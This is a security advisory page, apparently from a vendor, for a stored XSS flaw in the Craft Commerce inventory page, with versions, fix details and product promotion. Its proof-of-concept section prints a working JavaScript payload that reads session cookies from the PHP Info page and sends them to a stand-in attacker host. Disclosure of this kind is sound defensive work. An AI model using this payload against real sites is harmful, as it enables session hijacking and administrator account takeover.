CVE-2026-29175 — craftcms/commerce
Fix: craftcms/commerce@9f0638aCVE-2026-29175 is a Cross-site Scripting (XSS) vulnerability in craftcms/commerce. A fix is available for craftcms/commerce — see the affected versions and patch details below.
Multiple Stored XSS in Commerce Inventory Page Leading to Session Hijacking
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-29175.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
craftcms/commerceReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.
This vulnerability enables session hijacking by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.
Proof of Concept
Permissions Required
- Access the control panel
- Access Craft Commerce
- Create/Edit products
Steps to Reproduce
- Log in to the control panel
- Navigate to Commerce → Products
- Add a new product and set the Title field to: (replace
https://attacker.com)<img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})"> - Save the product
- Navigate to Commerce → Inventory (
/admin/commerce/inventory) - XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server
Cookie Extraction Details
The PHP Info page (/admin/utilities/php-info) displays cookie values (unmasked) in multiple locations:
HTTP_COOKIECookie(used in this PoC)$_SERVER['HTTP_COOKIE']$_COOKIE['<cookie-name>']
Notes
- The same vulnerability exists in Variant Title and Variant SKU fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.
$_COOKIE['CRAFT_CSRF_TOKEN']is masked in PHP Info, but the unmasked value is available in the other parameters listed above.- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.
Mitigation
- Sanitize product and variant fields when rendering in the inventory template
- Mask sensitive cookie values in the PHP Info utility page (similar to how
CRAFT_CSRF_TOKEN,CRAFT_SECURITY_KEY, andCRAFT_DB_PASSWORDare already masked)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | craftcms/commerce | ≥ 5.0.0&&< 5.5.3 | 5.5.3composer require craftcms/commerce:^5.5.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/commerce, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update craftcms/commerce to 5.5.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29175 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-29175 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-29175. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-29175 in your dependencies?
O3 Security finds CVE-2026-29175 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.